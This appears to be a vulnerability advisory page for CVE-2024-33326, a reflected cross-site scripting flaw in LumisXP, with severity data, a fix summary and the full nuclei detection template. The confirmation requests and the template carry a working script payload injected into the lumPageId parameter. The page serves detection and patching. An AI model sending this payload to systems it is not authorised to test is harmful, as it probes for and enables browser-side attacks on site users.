LumisXP - Cross-site Scripting

mediumseverity

5.4CVSS score

0.8%likelihood of exploitation, next 30 days

57%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting (XSS) vulnerability in the XsltResultControllerHtml.jsp component of LumisXP v15.0.x to v16.1.x allows attackers to execute arbitrary web scripts or HTML via the lumPageID parameter.

Impact

Successful exploitation allows attackers to execute arbitrary JavaScript in the victim's browser, potentially leading to session hijacking, credential theft, or defacement.

Fix

Apply security patches or upgrade to a version that addresses this XSS vulnerability. Implement proper input validation and output encoding.

How to confirm it

Send: GET {{BaseURL}}/portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePa… ; GET {{BaseURL}}/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePath=
Positive when: contains(body, "<script>confirm(document.domain)</script>") and contains(content_type, "text/html") && contains(set_cookie, "lum") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-33326 -u <target>

The full check

id: CVE-2024-33326

info:
  name: LumisXP - Cross-site Scripting
  author: 0xr2r
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the XsltResultControllerHtml.jsp component of LumisXP v15.0.x to v16.1.x allows attackers to execute arbitrary web scripts or HTML via the lumPageID parameter.
  impact: |
    Successful exploitation allows attackers to execute arbitrary JavaScript in the victim's browser, potentially leading to session hijacking, credential theft, or defacement.
  remediation: |
    Apply security patches or upgrade to a version that addresses this XSS vulnerability. Implement proper input validation and output encoding.
  reference:
    - https://gist.github.com/rodnt/51ae2897abfff1bdcedccf72edbf3d24
    - https://seclists.org/fulldisclosure/2024/Jul/10
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33326
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-33326
    epss-score: 0.0081
    epss-percentile: 0.57224
    cwe-id: CWE-79
    cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lumis
    product: lumis_experience_platform
  tags: cve,cve2024,xss,lumis,lumisxp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePath="
      - "{{BaseURL}}/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePath="

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>confirm(document.domain)</script>")'
          - 'contains(content_type, "text/html") && contains(set_cookie, "lum")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from